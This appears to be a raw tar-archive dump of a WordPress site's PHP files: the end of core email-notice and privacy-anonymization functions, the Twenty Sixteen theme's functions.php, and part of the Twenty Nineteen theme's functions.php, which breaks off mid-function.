$send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
if ( ! $send ) {
return;
}
/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
$email_change_text = __( 'Hi,
This notice confirms that the admin email address was changed on ###SITENAME###.
The new admin email address is ###NEW_EMAIL###.
This email has been sent to ###OLD_EMAIL###
Regards,
All at ###SITENAME###
###SITEURL###' );
$email_change_email = array(
'to' => $old_email,
/* translators: Site admin email change notification email subject. %s: Site title */
'subject' => __( '[%s] Notice of Admin Email Change' ),
'message' => $email_change_text,
'headers' => '',
);
// get site name
$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
/**
* Filters the contents of the email notification sent when the site admin email address is changed.
*
* @since 4.9.0
*
* @param array $email_change_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient.
* @type string $subject The subject of the email.
* @type string $message The content of the email.
* The following strings have a special meaning and will get replaced dynamically:
* - ###OLD_EMAIL### The old site admin email address.
* - ###NEW_EMAIL### The new site admin email address.
* - ###SITENAME### The name of the site.
* - ###SITEURL### The URL to the site.
* @type string $headers Headers.
* }
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
wp_mail( $email_change_email['to'], sprintf(
$email_change_email['subject'],
$site_name
), $email_change_email['message'], $email_change_email['headers'] );
}
/**
* Return an anonymized IPv4 or IPv6 address.
*
* @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
*
* @param string $ip_addr The IPv4 or IPv6 address to be anonymized.
* @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
* to anonymize it are not present. Default false, return `::` (unspecified address).
* @return string The anonymized IP address.
*/
function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
// Detect what kind of IP address this is.
$ip_prefix = '';
$is_ipv6 = substr_count( $ip_addr, ':' ) > 1;
$is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) );
if ( $is_ipv6 && $is_ipv4 ) {
// IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
$ip_prefix = '::ffff:';
$ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
$ip_addr = str_replace( ']', '', $ip_addr );
$is_ipv6 = false;
}
if ( $is_ipv6 ) {
// IPv6 addresses will always be enclosed in [] if there's a port.
$left_bracket = strpos( $ip_addr, '[' );
$right_bracket = strpos( $ip_addr, ']' );
$percent = strpos( $ip_addr, '%' );
$netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
// Strip the port (and [] from IPv6 addresses), if they exist.
if ( false !== $left_bracket && false !== $right_bracket ) {
$ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
} elseif ( false !== $left_bracket || false !== $right_bracket ) {
// The IP has one bracket, but not both, so it's malformed.
return '::';
}
// Strip the reachability scope.
if ( false !== $percent ) {
$ip_addr = substr( $ip_addr, 0, $percent );
}
// No invalid characters should be left.
if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
return '::';
}
// Partially anonymize the IP by reducing it to the corresponding network ID.
if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
$ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
if ( false === $ip_addr) {
return '::';
}
} elseif ( ! $ipv6_fallback ) {
return '::';
}
} elseif ( $is_ipv4 ) {
// Strip any port and partially anonymize the IP.
$last_octet_position = strrpos( $ip_addr, '.' );
$ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0';
} else {
return '0.0.0.0';
}
// Restore the IPv6 prefix to compatibility mode addresses.
return $ip_prefix . $ip_addr;
}
/**
* Return uniform "anonymous" data by type.
*
* @since 4.9.6
*
* @param string $type The type of data to be anonymized.
* @param string $data Optional The data to be anonymized.
* @return string The anonymous data for the requested type.
*/
function wp_privacy_anonymize_data( $type, $data = '' ) {
switch ( $type ) {
case 'email':
$anonymous = 'deleted@site.invalid';
break;
case 'url':
$anonymous = 'https://site.invalid';
break;
case 'ip':
$anonymous = wp_privacy_anonymize_ip( $data );
break;
case 'date':
$anonymous = '0000-00-00 00:00:00';
break;
case 'text':
/* translators: deleted text */
$anonymous = __( '[deleted]' );
break;
case 'longtext':
/* translators: deleted long text */
$anonymous = __( 'This content was deleted by the author.' );
break;
default:
$anonymous = '';
}
/**
* Filters the anonymous data for each type.
*
* @since 4.9.6
*
* @param string $anonymous Anonymized data.
* @param string $type Type of the data.
* @param string $data Original data.
*/
return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
}
/**
* Returns the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_url
*
* @return string Exports directory.
*/
function wp_privacy_exports_dir() {
$upload_dir = wp_upload_dir();
$exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
/**
* Filters the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_dir Exports directory.
*/
return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
}
/**
* Returns the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_dir
*
* @return string Exports directory URL.
*/
function wp_privacy_exports_url() {
$upload_dir = wp_upload_dir();
$exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
/**
* Filters the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_url Exports directory URL.
*/
return apply_filters( 'wp_privacy_exports_url', $exports_url );
}
/**
* Schedule a `WP_Cron` job to delete expired export files.
*
* @since 4.9.6
*/
function wp_schedule_delete_old_privacy_export_files() {
if ( wp_installing() ) {
return;
}
if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
}
}
/**
* Cleans up export files older than three days old.
*
* The export files are stored in `wp-content/uploads`, and are therefore publicly
* accessible. A CSPRN is appended to the filename to mitigate the risk of an
* unauthorized person downloading the file, but it is still possible. Deleting
* the file after the data subject has had a chance to delete it adds an additional
* layer of protection.
*
* @since 4.9.6
*/
function wp_privacy_delete_old_export_files() {
require_once( ABSPATH . 'wp-admin/includes/file.php' );
$exports_dir = wp_privacy_exports_dir();
$export_files = list_files( $exports_dir, 100, array( 'index.html' ) );
/**
* Filters the lifetime, in seconds, of a personal data export file.
*
* By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
* be deleted by a cron job.
*
* @since 4.9.6
*
* @param int $expiration The expiration age of the export, in seconds.
*/
$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
foreach ( (array) $export_files as $export_file ) {
$file_age_in_seconds = time() - filemtime( $export_file );
if ( $expiration < $file_age_in_seconds ) {
unlink( $export_file );
}
}
}
home/xbodynamge/crosstraining/wp-content/themes/twentysixteen/functions.php 0000604 00000041323 15111731214 0023547 0 ustar 00 <?php
/**
* Twenty Sixteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://codex.wordpress.org/Child_Themes
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
*
* @package WordPress
* @subpackage Twenty_Sixteen
* @since Twenty Sixteen 1.0
*/
/**
* Twenty Sixteen only works in WordPress 4.4 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twentysixteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* Create your own twentysixteen_setup() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
* If you're building a theme based on Twenty Sixteen, use a find and replace
* to change 'twentysixteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentysixteen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for custom logo.
*
* @since Twenty Sixteen 1.2
*/
add_theme_support( 'custom-logo', array(
'height' => 240,
'width' => 240,
'flex-height' => true,
) );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1200, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus( array(
'primary' => __( 'Primary Menu', 'twentysixteen' ),
'social' => __( 'Social Links Menu', 'twentysixteen' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'status',
'audio',
'chat',
) );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
// Add support for custom color scheme.
add_theme_support( 'editor-color-palette', array(
array(
'name' => __( 'Dark Gray', 'twentysixteen' ),
'slug' => 'dark-gray',
'color' => '#1a1a1a',
),
array(
'name' => __( 'Medium Gray', 'twentysixteen' ),
'slug' => 'medium-gray',
'color' => '#686868',
),
array(
'name' => __( 'Light Gray', 'twentysixteen' ),
'slug' => 'light-gray',
'color' => '#e5e5e5',
),
array(
'name' => __( 'White', 'twentysixteen' ),
'slug' => 'white',
'color' => '#fff',
),
array(
'name' => __( 'Blue Gray', 'twentysixteen' ),
'slug' => 'blue-gray',
'color' => '#4d545c',
),
array(
'name' => __( 'Bright Blue', 'twentysixteen' ),
'slug' => 'bright-blue',
'color' => '#007acc',
),
array(
'name' => __( 'Light Blue', 'twentysixteen' ),
'slug' => 'light-blue',
'color' => '#9adffd',
),
array(
'name' => __( 'Dark Brown', 'twentysixteen' ),
'slug' => 'dark-brown',
'color' => '#402b30',
),
array(
'name' => __( 'Medium Brown', 'twentysixteen' ),
'slug' => 'medium-brown',
'color' => '#774e24',
),
array(
'name' => __( 'Dark Red', 'twentysixteen' ),
'slug' => 'dark-red',
'color' => '#640c1f',
),
array(
'name' => __( 'Bright Red', 'twentysixteen' ),
'slug' => 'bright-red',
'color' => '#ff675f',
),
array(
'name' => __( 'Yellow', 'twentysixteen' ),
'slug' => 'yellow',
'color' => '#ffef8e',
),
) );
// Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
}
endif; // twentysixteen_setup
add_action( 'after_setup_theme', 'twentysixteen_setup' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_content_width() {
$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );
}
add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );
/**
* Registers a widget area.
*
* @link https://developer.wordpress.org/reference/functions/register_sidebar/
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar', 'twentysixteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Content Bottom 1', 'twentysixteen' ),
'id' => 'sidebar-2',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Content Bottom 2', 'twentysixteen' ),
'id' => 'sidebar-3',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'twentysixteen_widgets_init' );
if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :
/**
* Register Google fonts for Twenty Sixteen.
*
* Create your own twentysixteen_fonts_url() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*
* @return string Google fonts URL for the theme.
*/
function twentysixteen_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = 'latin,latin-ext';
/* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';
}
/* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Montserrat:400,700';
}
/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Inconsolata:400';
}
if ( $fonts ) {
$fonts_url = add_query_arg( array(
'family' => urlencode( implode( '|', $fonts ) ),
'subset' => urlencode( $subsets ),
), 'https://fonts.googleapis.com/css' );
}
return $fonts_url;
}
endif;
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );
/**
* Enqueues scripts and styles.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
// Add Genericons, used in the main stylesheet.
wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );
// Theme stylesheet.
wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );
// Theme block stylesheet.
wp_enqueue_style( 'twentysixteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentysixteen-style' ), '20181018' );
// Load the Internet Explorer specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );
// Load the Internet Explorer 7 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );
// Load the html5 shiv.
wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );
wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );
}
wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20160816', true );
wp_localize_script( 'twentysixteen-script', 'screenReaderText', array(
'expand' => __( 'expand child menu', 'twentysixteen' ),
'collapse' => __( 'collapse child menu', 'twentysixteen' ),
) );
}
add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );
/**
* Enqueue styles for the block-based editor.
*
* @since Twenty Sixteen 1.6
*/
function twentysixteen_block_editor_styles() {
// Block styles.
wp_enqueue_style( 'twentysixteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css' );
// Add custom fonts.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
}
add_action( 'enqueue_block_editor_assets', 'twentysixteen_block_editor_styles' );
/**
* Adds custom classes to the array of body classes.
*
* @since Twenty Sixteen 1.0
*
* @param array $classes Classes for the body element.
* @return array (Maybe) filtered body classes.
*/
function twentysixteen_body_classes( $classes ) {
// Adds a class of custom-background-image to sites with a custom background image.
if ( get_background_image() ) {
$classes[] = 'custom-background-image';
}
// Adds a class of group-blog to sites with more than 1 published author.
if ( is_multi_author() ) {
$classes[] = 'group-blog';
}
// Adds a class of no-sidebar to sites without active sidebar.
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
$classes[] = 'no-sidebar';
}
// Adds a class of hfeed to non-singular pages.
if ( ! is_singular() ) {
$classes[] = 'hfeed';
}
return $classes;
}
add_filter( 'body_class', 'twentysixteen_body_classes' );
/**
* Converts a HEX value to RGB.
*
* @since Twenty Sixteen 1.0
*
* @param string $color The original color, in 3- or 6-digit hexadecimal form.
* @return array Array containing RGB (red, green, and blue) values for the given
* HEX code, empty array otherwise.
*/
function twentysixteen_hex2rgb( $color ) {
$color = trim( $color, '#' );
if ( strlen( $color ) === 3 ) {
$r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );
$g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );
$b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );
} else if ( strlen( $color ) === 6 ) {
$r = hexdec( substr( $color, 0, 2 ) );
$g = hexdec( substr( $color, 2, 2 ) );
$b = hexdec( substr( $color, 4, 2 ) );
} else {
return array();
}
return array( 'red' => $r, 'green' => $g, 'blue' => $b );
}
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images
*
* @since Twenty Sixteen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentysixteen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 840 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';
}
if ( 'page' === get_post_type() ) {
if ( 840 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
} else {
if ( 840 > $width && 600 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';
} elseif ( 600 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10 , 2 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails
*
* @since Twenty Sixteen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( 'post-thumbnail' === $size ) {
if ( is_active_sidebar( 'sidebar-1' ) ) {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';
} else {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';
}
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10 , 3 );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Sixteen 1.1
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentysixteen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );
home/xbodynamge/www/wp-content/themes/twentynineteen/functions.php 0000644 00000023463 15111734121 0021645 0 ustar 00 <?php
/**
* Twenty Nineteen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Nineteen
* @since 1.0.0
*/
/**
* Twenty Nineteen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
if ( ! function_exists( 'twentynineteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentynineteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Twenty Nineteen, use a find and replace
* to change 'twentynineteen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentynineteen', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1568, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'menu-1' => __( 'Primary', 'twentynineteen' ),
'footer' => __( 'Footer Menu', 'twentynineteen' ),
'social' => __( 'Social Links Menu', 'twentynineteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 190,
'width' => 190,
'flex-width' => false,
'flex-height' => false,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Enqueue editor styles.
add_editor_style( 'style-editor.css' );
// Add custom editor font sizes.
add_theme_support(
'editor-font-sizes',
array(
array(
'name' => __( 'Small', 'twentynineteen' ),
'shortName' => __( 'S', 'twentynineteen' ),
'size' => 19.5,
'slug' => 'small',
),
array(
'name' => __( 'Normal', 'twentynineteen' ),
'shortName' => __( 'M', 'twentynineteen' ),
'size' => 22,
'slug' => 'normal',
),
array(
'name' => __( 'Large', 'twentynineteen' ),
'shortName' => __( 'L', 'twentynineteen' ),
'size' => 36.5,
'slug' => 'large',
),
array(
'name' => __( 'Huge', 'twentynineteen' ),
'shortName' => __( 'XL', 'twentynineteen' ),
'size' => 49.5,
'slug' => 'huge',
),
)
);
// Editor color palette.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Primary', 'twentynineteen' ),
'slug' => 'primary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
),
array(
'name' => __( 'Secondary', 'twentynineteen' ),
'slug' => 'secondary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
),
array(
'name' => __( 'Dark Gray', 'twentynineteen' ),
'slug' => 'dark-gray',
'color' => '#111',
),
array(
'name' => __( 'Light Gray', 'twentynineteen' ),
'slug' => 'light-gray',
'color' => '#767676',
),
array(
'name' => __( 'White', 'twentynineteen' ),
'slug' => 'white',
'color' => '#FFF',
),
)
);
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentynineteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Footer', 'twentynineteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width Content width.
*/
function twentynineteen_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );
/**
* Enqueue scripts and styles.
*/
function twentynineteen_scripts() {
wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );
wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );
if ( has_nav_menu( 'menu-1' ) ) {
wp_enqueue_script( 'twentynineteen-priority-menu', get_theme_file_uri( '/js/priority-menu.js' ), array(), '1.0', true );
wp_enqueue_script( 'twentynineteen-touch-navigation', get_theme_file_uri( '/js/touch-keyboard-navigation.js' ), array(), '1.0', true );
}
wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );
/**
* Fix skip link focus in IE11.
*
* This does not enqueue the script because it is tiny and because it is only for IE11,
* thus it does not warrant having an entire dedicated blocking script being loaded.
*
* @link https://git.io/vWdr2
*/
function twentynineteen_skip_link_focus_fix() {
// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
?>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
</script>
<?php
}
add_action( 'wp_print_footer_scripts', 'twentynineteen_skip_link_focus_fix' );
/**
* Enqueue supplemental block editor styles.
*/
function twentynineteen_editor_customizer_styles() {
wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '1.0', 'all' );
if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
// Include color patterns.
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );
/**
* Display custom color CSS in customizer and on frontend.
*/
function twentynineteen_colors_css_wrap() {
// Only include custom colors in customizer or frontend.
if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
return;
}
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
$primary_color = 199;
if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
$primary_color = get_theme_mod( 'primary_color_hue', 199 );
}
?>
